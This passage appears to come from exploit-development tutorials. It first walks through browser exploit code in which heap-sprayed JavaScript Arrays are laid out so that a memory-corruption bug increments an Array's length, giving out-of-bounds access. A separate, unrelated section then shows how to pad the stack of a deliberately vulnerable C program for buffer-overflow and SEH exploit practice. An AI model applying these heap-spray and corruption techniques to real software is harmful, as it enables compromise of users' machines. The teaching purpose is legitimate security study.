The function getPattern takes an array of the form
which is defined in a way that X+0xc points to b[0], where b[0] is the first element of the Array at magic_addr (0xc000000 in our code).
To understand this better, let’s consider the full schema:
.
.
.
elem.className = getPattern([
0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0]
0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1]
0x198, -1 // bit 12 set
], 0x428);
.
.
.
// The object is 0x428 bytes.
// Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
// X = [ptr+0A4h] ==> Y = [X+0ch] ==>
// [Y+208h] is 0
// [Y+630h+248h] = [Y+878h] val to inc! <======
// [Y+630h+380h] = [Y+9b0h] has bit 16 set
// [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
// [Y+1044h] is 0
// U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
// [W+0ah] has bit 1 set & bit 4 unset
// [W+44h] has bit 7 set
// [W+5ch] is writable
// [ptr+198h] has bit 12 set
window.onload = function() {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
var idx;
b = a[i];
b[0] = magic_addr + 0x1b - 0x878; // Y
idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4); // index for Y+9b0h
b[idx] = -1; b[idx+1] = -1;
idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4); // index for Y+0a24h
b[idx] = -1; b[idx+1] = -1;
idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4); // index for Y+1044h
b[idx] = 0; b[idx+1] = 0;
// The following address would be negative so we add 0x10000 to translate the address
// from the previous copy of the array to this one.
idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4); // index for Y+208h
b[idx] = 0; b[idx+1] = 0;
b[1] = magic_addr + 0x28 - 0x1c; // V, [U-24h]; V+1ch --> b[2]
b[(0x24 + 0x24 - 0x20)/4] = 0; // [U] (*)
b[2] = magic_addr + 0x2c - 0xa; // W; W+0ah --> b[3]
b[3] = 2; // [W+0ah]
idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4); // index for W+44h
b[idx] = -1; b[idx+1] = -1;
}
Let’s consider this part of the schema:
// X = [ptr+0A4h] ==> Y = [X+0ch] ==>
// [Y+208h] is 0
// [Y+630h+248h] = [Y+878h] val to inc! <======
The schema tells us that [Y+878h] must be the value to increment. Indeed, Y+0x878 is magic_addr + 0x1b which points to the highest byte of the length of the Array at magic_addr (0xc000000 in our code). Note that we increment the dword at magic_addr + 0x1b which has the effect of incrementing the byte at the same address.
The schema also dictates that [Y+208h] be 0. This is accomplished by the following lines:
Y = b[0] = magic_addr + 0x1b – 0x878 so it’s not a multiple of 4. Because of this, Y+208h isn’t a multiple of 4 either. To modify the misaligned dword [Y+208h], we need to modify the dwords [Y+206h] and [Y+20ah] which coincide with the elements b[idx] and b[idx+1]. That’s why we use Math.floor.
The computed value b[0] + 0x208 – (magic_addr + 0x20) is negative. Because we’ve chosen Y so that Y+878h points to the header of the Array at magic_addr, Y+9b0h and Y+0a24h (see the schema) point to the same Array, but Y+208h points to the previous Array. Every Array will have the same content so, since adjacent Arrays are 0x10000 bytes apart, by writing the value into the memory at address Y+208h+10000h (i.e. in the current Array), we’ll also end up writing that value into the memory at address Y+208h.
To conclude our discussion, note that the function trigger is called only once. A single increment is more than enough because we just need to write a few bytes beyond the end of the Array at magic_addr.
If you can’t get an exploit to work because you get a weird crash inside fread or some other access violation, the space on the stack might be insufficient for the payload. The easiest solution is to modify the code of the program from this:
#include <cstdio>
int main() {
<contents of main>
}
to this:
#include <cstdio>
_declspec(noinline) int old_main() {
<contents of main>
}
int main() {
char moreStack[10000];
for (int i = 0; i < sizeof(moreStack); ++i)
moreStack[i] = i;
return old_main();
}
For example, this:
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
becomes:
#include <cstdio>
_declspec(noinline) int old_main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
int main() {
char moreStack[10000];
for (int i = 0; i < sizeof(moreStack); ++i)
moreStack[i] = i;
return old_main();
}
The stack variable moreStack gives us more space on the stack. Remember that the stack grows towards low addresses whereas fread writes going towards high addresses. Without this additional space on the stack, fread might reach the end of the stack and crash the program.
As always, use your head. Sometimes, you want fread to reach the end of the stack and raise an exception so that your exception handler is called (SEH based exploit). The important thing is that there’s enough space on the stack for your payload. If you need more or less space, feel free to modify the size of moreStack.
The for loop in main is needed otherwise moreStack is optimized away. Also, if function f is inlined, the buffer name is allocated after moreStack (i.e. towards the end of the stack) which defeats the purpose. To avoid this, we need to use _declspec(noinline).